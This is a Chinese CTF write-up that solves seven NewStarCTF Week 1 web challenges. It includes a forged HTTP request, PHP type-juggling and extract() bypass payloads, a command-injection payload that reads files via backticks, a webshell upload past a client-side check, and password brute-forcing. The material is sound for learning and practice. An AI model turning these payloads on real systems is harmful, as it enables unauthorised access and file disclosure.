【Web】NewStarCTF Week1 个人复现

目录

①泄露的秘密

[②Begin of Upload](#②Begin of Upload)

[③Begin of HTTP](#③Begin of HTTP)

④ErrorFlask

[⑤Begin of PHP](#⑤Begin of PHP)

⑥R!C!E!

⑦EasyLogin


①泄露的秘密

盲猜/robots.txt,访问得到flag前半部分

第二个没试出来,老老实实拿dirsearch扫吧

访问/www.zip

下载附件,拿到第二部分

flag:

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

②Begin of Upload

随便上传一个php文件

发现有前端限制

禁一手js

继续上传

成功传马,直接rce即可,下略

③Begin of HTTP

常规的题,不多解释

复制代码
POST /?ctf=1 HTTP/1.1
Host: node4.buuoj.cn:28438
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Referer:newstarctf.com
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

注意最后的伪造本地请求方式要字典爆破

④ErrorFlask

看标题表述就是搞破坏让flask报错

先正常传俩数字,回显告诉我们不是ssti

传个字母试试

payload:

复制代码
?number1=a&number2=1

成功报错拿到flag

⑤Begin of PHP

贴出源码

复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

payload:

?key1\[\]=1&key2\[\]=2&key4\[\]=1&key5=2024.c

key3\[\]=1&flag5=!\[\]

主要解释下level3和5

level 3利用strcmp传入数组会返回0来绕过

level 5利用extract可以解析并创建变量,来psost一个flag5进去(因为发现源码中没有flag5)。另外对post内容做了限制,不能有字母数字,这里可以传一个!\[\]进去,\[\]空数组会隐式转换为false,在!取反得到我们要的true

⑥R!C!E!

先是构造md5

(默默掏出工具爆破)

最终payload:

password=114514&e[v.a.l=echo `tac /f*`;

⑦EasyLogin

进来是个登录框

随便注册一个账号登录看看

没什么用,估计得admin登录

提示密码至少6位,尝试爆破6位密码

爆破得密码为000000

登录,发包得到302重定向,在repeater里看即可

相关推荐
wanhengidc42 分钟前
服务器租用有何优点
运维·服务器·安全·web安全
Csvn1 小时前
OpenSpec 详细使用教程
前端
csdn_aspnet1 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei112 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
之歆2 小时前
Day19_LESS 完全指南——从入门到工程实践
前端·css·less
云水一下3 小时前
HTML5 从入门到精通:实战收官——从零搭建完整静态网站,综合运用所有知识
前端·html5
不总是3 小时前
Windows 系统 Node.js 免安装版(zip)安装与配置教程(2026 最新)
前端·windows·node.js
冬奇Lab3 小时前
每日一个开源项目(第105篇):Twenty - 跳出 Salesforce 的圈套,定义现代开源 CRM
前端·后端·开源
鹏北海-RemHusband3 小时前
Go 语言进阶笔记 — 面向 JS/TS 前端开发者
笔记·golang
zhangyao9403304 小时前
开发pc端时,表格的高度怎么设置才能铺满页面
前端·javascript·elementui